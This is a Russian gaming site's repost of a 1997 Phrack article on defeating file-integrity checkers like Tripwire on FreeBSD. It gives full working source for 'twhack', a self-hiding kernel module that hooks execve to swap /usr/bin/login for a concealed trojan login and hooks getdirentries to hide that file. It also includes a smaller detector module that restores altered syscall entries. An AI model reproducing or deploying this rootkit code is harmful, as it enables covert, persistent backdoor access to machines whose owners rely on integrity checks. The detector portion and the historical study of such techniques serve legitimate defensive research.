Возможно вы искали: 'Leave Home'

May 15 2025 18:14:47
  • Как сделать 8Gamers.Ru домашней страницей?
  • Игры
    • База данных по играх
    • Игровые новости
    • Игровая индустрия
    • Обзоры на игры
    • Прохождения игр
    • Гайды к играм
    • Превью о играх
    • Игровые тизеры
    • Игровые арты
    • Игровые обои
    • Игровые скриншоты
    • Игровые обложки
    • Игровые трейлеры
    • Игровое видео
    • Вышедшие игры
    • Ближайшие релизы игр
  • Кино и ТВ
    • База данных по кино
    • Статьи о кино
    • Постеры
    • Кадры из кино
    • Кино трейлеры
    • Сегодня в кино
    • Скоро в кино
  • Комиксы и манга
    • Манга по алфавиту
    • База данных по комиксах
    • Читать онлайн комиксы
    • Читать онлайн манга
    • База персонажей
  • Читы и коды
    • Чит-коды для PC игр
    • Чит-коды для консольных игр
    • Трейнеры
    • Коды Game Genie
  • Моддинг
    • Модификации
    • Карты к играм
    • Программы для моддинга
    • Статьи о моддинге
  • Геймдев
    • Всё о создании игр
    • Список движков
    • Утилиты в помощь игроделу
    • Конструкторы игр
    • Игровые движки
    • Библиотеки разработки
    • 3D-модели
    • Спрайты и тайлы
    • Музыка и звуки
    • Текстуры и фоны
  • Рецензии
    • Игры
    • Кино
    • Аниме
    • Комиксы
    • Мангу
    • Саундтреки
  • Саундтреки
    • Лирика
  • Файлы
    • Патчи к играм
    • Русификаторы к играм
    • Сохранения к играм
    • Субтитры к кино
  • Медиа
    • Видео
    • Фото
    • Аудио
    • Фан-арты
    • Косплей
    • Фото с виставок
    • Девушки из игр
    • Рисунки
    • Рисуем онлайн
    • Фотохостинг
  • Юмор
    • Анекдоты
    • Афоризмы
    • Истории
    • Стишки и эпиграммы
    • Тосты
    • Цитаты
  • Флеш
    • Азартные
    • Аркады
    • Бродилки
    • Гонки
    • Для девочек
    • Для мальчиков
    • Драки
    • Квесты
    • Леталки
    • Логические
    • Мультфильмы
    • Открытки
    • Приколы
    • Разное
    • Спорт
    • Стратегии
    • Стрелялки
Статистика

Статей: 87772
Просмотров: 96111483
Игры
Injustice:  Gods Among Us
Injustice: Gods Among Us
...
Dark Souls 2
Dark Souls 2
Dark Souls II - вторая часть самой хардкорной ролевой игры 2011-2012 года, с новым героем, сюжето...
Battlefield 4
Battlefield 4
Battlefield 4 - продолжение венценосного мультиплеер-ориентированного шутера от первого ли...
Кино
Steins;Gate
Steins;Gate
Любители японской анимации уже давно поняли ,что аниме сериалы могут дать порой гораздо больше пи...
Ку! Кин-дза-дза
Ку! Кин-дза-дза
Начинающий диджей Толик и всемирно известный виолончелист Владимир Чижов встречают на шумной моск...
Обзоры на игры
• Обзор Ibara [PCB/PS2] 18357
• Обзор The Walking ... 18801
• Обзор DMC: Devil M... 19879
• Обзор на игру Valk... 15877
• Обзор на игру Stars! 17764
• Обзор на Far Cry 3 17948
• Обзор на Resident ... 16024
• Обзор на Chivalry:... 17508
• Обзор на игру Kerb... 17981
• Обзор игры 007: Fr... 16619
Превью о играх
• Превью к игре Comp... 17960
• Превью о игре Mage... 14464
• Превью Incredible ... 14721
• Превью Firefall 13479
• Превью Dead Space 3 16334
• Превью о игре SimC... 14730
• Превью к игре Fuse 15442
• Превью Red Orche... 15542
• Превью Gothic 3 16343
• Превью Black & W... 17354
Главная » Статьи » Разное » [Phrack] Bypassing Integrity Checking Systems (security )

[Phrack] Bypassing Integrity Checking Systems (security )

Ключевые слова: security, (найти похожие документы)

Subject: [Phrack] Bypassing Integrity Checking Systems
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 09 of 17


-------------------------[ Bypassing Integrity Checking Systems


--------[ halflife <halflife@infonexus.com>


In this day and age where intrusions happen on a daily basis and there is a
version of "rootkit" for every operating system imaginable, even mostly
incompetent system administration staff have begun doing checksums on their
binaries. For the hacker community, this is a major problem since their very
clever trojan programs are quickly detected and removed. Tripwire is a very
popular and free utility to do integrity checking on UNIX systems. This
article explores a simple method for bypassing checks done by tripwire and
other integrity checking programs.

First off, how do integrity-checking programs work? Well, when you first
install them, they calculate a hash (sometimes multiple hashes) of all the
binary files you wish to monitor. Then, periodically, you run the checker
and it compares the current hash with the previously recorded hash. If the
two differ, than something funny is going on, and it is noted. Several
different algorithms exist for doing the hashes, the most popular probably
being the MD5 hash.

In the past, there have been problems with several hashes. MD5 has had some
collisions, as have many other secure hash algorithms. However, exploiting the
collisions is still very very difficult. The code in this article does not
rely on the use of a specific algorithm, rather we focus on a problem of trust
-- integrity checking programs need to trust the operating system, and some
may even trust libc. In code that is designed to detect compromises that
would by their very nature require root access, you can not trust anything,
including your own operating system.

The design of twhack had several requirements. The first is that it need not
require a kernel rebuild; loadable kernel modules (lkm) provided a solution
to this. The second is that it need be relatively stealthy. I managed to find
a simple way to hide the lkm in the FreeBSD kernel (probably works in OpenBSD
and NetBSD although I have not verified this). Once you load the module, the
first ls type command will effectively hide the module from view. Once hidden
it can not be unloaded or seen with the modunload(8) command.

First, a little information on FreeBSD loadable modules. I am using the MISC
style of modules, which is basically similar to linux modules. It gives you
pretty much full access to everything. LKM info is stored in an array of
structures. In FreeBSD 2.2.1 the array has room for 20 modules.

Hiding the modules is really quite simple. There is a used variable that
determines if the module slot is free or not. When you insert a module, the
device driver looks for the first free module entry -- free being defined as
an entry with 0 in the used slot and places some info in the structure. The
info is mainly used for unloading, and we are not interested in that, so it is
okay if other modules overwrite our structure (some might call that a feature,
even).

Next we have to redirect the system calls we are interested in. This is
somewhat similar to Linux modules as well. System calls are stored in an
array of structures. The structure contains a pointer to the system call and
a variable specifying the number of arguments. Obviously, all we are
interested in is the pointer. First we bcopy the structure to a variable,
then we modify the function pointer to point to our code. In our code we can
do stuff like old_function.sy_call(arguments) to call the original system call
-- quick and painless.

Now that we know HOW to redirect system calls, which ones do we redirect in
order to bypass integrity checkers? Well, there are a number of possibilities.
You could redirect open(), stat(), and a bunch of others so that reads of your
modified program redirect to copies of the unmodified version. I, however,
chose the opposite approach. Execution attempts of login redirect to another
program, opens still go to the real login program. Since we don't want our
alternative login program being detected, I also modified getdirentries so
that our program is never in the buffer it returns. Similar things probably
should have been done with syscall 156 which is old getdirentries, but I don't
think it is defined and I don't know of anything using it, so it probably does
not really matter.

Despite the attempts at keeping hidden, there are a few ways to detect this
code. One of the ways of detecting (and stopping) the code is provided.
It is a simple stealthy module that logs when syscall addresses change, and
reverses the changes. This will stop the twhack module as provided, but is
FAR from perfect.

What the checking code does is bcopy() the entire sysent array into a local
copy. Then it registers an at_fork() handler and in the handler it checks
the current system call table against the one in memory, if they differ it
logs the differences and changes the entry back.

<++> twhack/Makefile
CC=gcc
LD=ld
RM=rm
CFLAGS=-O -DKERNEL -DACTUALLY_LKM_NOT_KERNEL $(RST)
LDFLAGS=-r
RST=-DRESTORE_SYSCALLS

all: twhack syscheck

twhack:
$(CC) $(CFLAGS) -c twhack.c
$(LD) $(LDFLAGS) -o twhack_mod.o twhack.o
@$(RM) twhack.o

syscheck:
$(CC) $(CFLAGS) -c syscheck.c
$(LD) $(LDFLAGS) -o syscheck_mod.o syscheck.o
@$(RM) syscheck.o
clean:
$(RM) -f *.o
<-->
<++> twhack/twhack.c
/*
** This code is a simple example of bypassing Integrity checking
** systems in FreeBSD 2.2. It has been tested in 2.2.1, and
** believed to work (although not tested) in 3.0.
**
** Halflife <halflife@infonexus.com>
*/

/* change these */
#define ALT_LOGIN_PATH "/tmp/foobar"
#define ALT_LOGIN_BASE "foobar"

/* includes */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/sysent.h>
#include <sys/lkm.h>
#include <a.out.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/dirent.h>

/* storage for original execve and getdirentries syscall entries */
static struct sysent old_execve;
static struct sysent old_getdirentries;

/* prototypes for new execve and getdirentries functions */
int new_execve __P((struct proc *p, void *uap, int retval[]));
int new_getdirentries __P((struct proc *p, void *uap, int retval[]));

/* flag used for the stealth stuff */
static int hid=0;

/* table we need for the stealth stuff */
static struct lkm_table *table;

/* misc lkm */
MOD_MISC(twhack);

/*
** this code is called when we load or unload the module. unload is
** only possible if we initialize hid to 1
*/
static int
twhack_load(struct lkm_table *l, int cmd)
{
int err = 0;
switch(cmd)
{
/*
** save execve and getdirentries system call entries
** and point function pointers to our code
*/
case LKM_E_LOAD:
if(lkmexists(l))
return(EEXIST);
bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent));
sysent[SYS_execve].sy_call = new_execve;
bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(struct sysent));
sysent[SYS_getdirentries].sy_call = new_getdirentries;
table = l;
break;
/* restore syscall entries to their original condition */
case LKM_E_UNLOAD:
bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent));
bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(struct sysent));
break;
default:
err = EINVAL;
break;
}
return(err);
}

/* entry point to the module */
int
twhack_mod(struct lkm_table *l, int cmd, int ver)
{
DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd);
}

/*
** execve is simple, if they attempt to execute /usr/bin/login
** we change fname to ALT_LOGIN_PATH and then call the old execve
** system call.
*/
int
new_execve(struct proc *p, void *uap, int *retval)
{
struct execve_args *u=uap;

if(!strcmp(u->fname, "/usr/bin/login"))
strcpy(u->fname, ALT_LOGIN_PATH);
return old_execve.sy_call(p, uap, retval);
}

/*
** in getdirentries() we call the original syscall first
** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH
** and ALT_LOGIN_BASE should _always_ be modified and made
** very obscure, perhaps with upper ascii characters.
*/
int
new_getdirentries(struct proc *p, void *uap, int *retval)
{
struct getdirentries_args *u=uap;
struct dirent *dep;
int nbytes;
int r,i;

/* if hid is not set, set the used flag to 0 */
if(!hid)
{
table->used = 0;
hid++;
}
r = old_getdirentries.sy_call(p, uap, retval);
nbytes = *retval;
while(nbytes > 0)
{
dep = (struct dirent *)u->buf;
if(!strcmp(dep->d_name, ALT_LOGIN_BASE))
{
i = nbytes - dep->d_reclen;
bcopy(u->buf+dep->d_reclen, u->buf, nbytes-dep->d_reclen);
*retval = i;
return r;
}
nbytes -= dep->d_reclen;
u->buf += dep->d_reclen;
}
return r;
}
<-->
<++> twhack/syscheck.c
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/sysent.h>
#include <sys/lkm.h>
#include <a.out.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/dirent.h>

static int hid=0;
static struct sysent table[SYS_MAXSYSCALL];
static struct lkm_table *boo;
MOD_MISC(syscheck);
void check_sysent(struct proc *, struct proc *, int);

static int
syscheck_load(struct lkm_table *l, int cmd)
{
int err = 0;
switch(cmd)
{
case LKM_E_LOAD:
if(lkmexists(l))
return(EEXIST);
bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL);
boo=l;
at_fork(check_sysent);
break;
case LKM_E_UNLOAD:
rm_at_fork(check_sysent);
break;
default:
err = EINVAL;
break;
}
return(err);
}

int
syscheck_mod(struct lkm_table *l, int cmd, int ver)
{
DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd);
}

void
check_sysent(struct proc *parent, struct proc *child, int flags)
{
int i;
if(!hid)
{
boo->used = 0;
hid++;
}
for(i=0;i < SYS_MAXSYSCALL;i++)
{
if(sysent[i].sy_call != table[i].sy_call)
{
printf("system call %d has been modified (old: %p new: %p)n", i, table[i].sy_call, sysent[i].sy_call);
#ifdef RESTORE_SYSCALLS
sysent[i].sy_call = table[i].sy_call;
#endif
}
}
}
<-->


----[ EOF
744 Прочтений •  [[Phrack] Bypassing Integrity Checking Systems (security )] [08.05.2012] [Комментариев: 0]
Добавил: Ukraine Vova
Ссылки
HTML: 
[BB Url]: 
Похожие статьи
Название Добавил Добавлено
• [Phrack] Bypassing Integrity Checki... Ukraine Vova 08.05.2012
Ни одного комментария? Будешь первым :).
Пожалуйста, авторизуйтесь для добавления комментария.

Проект входит в сеть сайтов «8Gamers Network»

Все права сохранены. 8Gamers.NET © 2011 - 2025

Статьи
Рецензия на Pressure
Рецензия на Pressure
Чтобы обратить на себя внимание, начинающие маленькие разработчики, как правило, уходят в жанры, ...
Рецензия на Lost Chronicles of Zerzura
Рецензия на Lost Chron...
Игры, сделанные без любви и старания, похожи на воздушный шар – оболочка есть, а внутри пусто. Lo...
Рецензия на The Bridge
Рецензия на The Bridge
«Верх» и «низ» в The Bridge — понятия относительные. Прогуливаясь под аркой, можно запросто перей...
Рецензия на SimCity
Рецензия на SimCity
Когда месяц назад состоялся релиз SimCity, по Сети прокатилось цунами народного гнева – глупые ош...
Рецензия на Strategy & Tactics: World War 2
Рецензия на Strategy &...
Название Strategy & Tactics: World War II вряд ли кому-то знакомо. Зато одного взгляда на ее скри...
Рецензия на игру Scribblenauts Unlimited
Рецензия на игру Scrib...
По сложившейся традиции в информационной карточке игры мы приводим в пример несколько похожих игр...
Рецензия на игру Walking Dead: Survival Instinct, The
Рецензия на игру Walki...
Зомби и продукция-по-лицензии — которые и сами по себе не лучшие представители игровой биосферы —...
Обратная связь | RSS | Донейт | Статистика | Команда | Техническая поддержка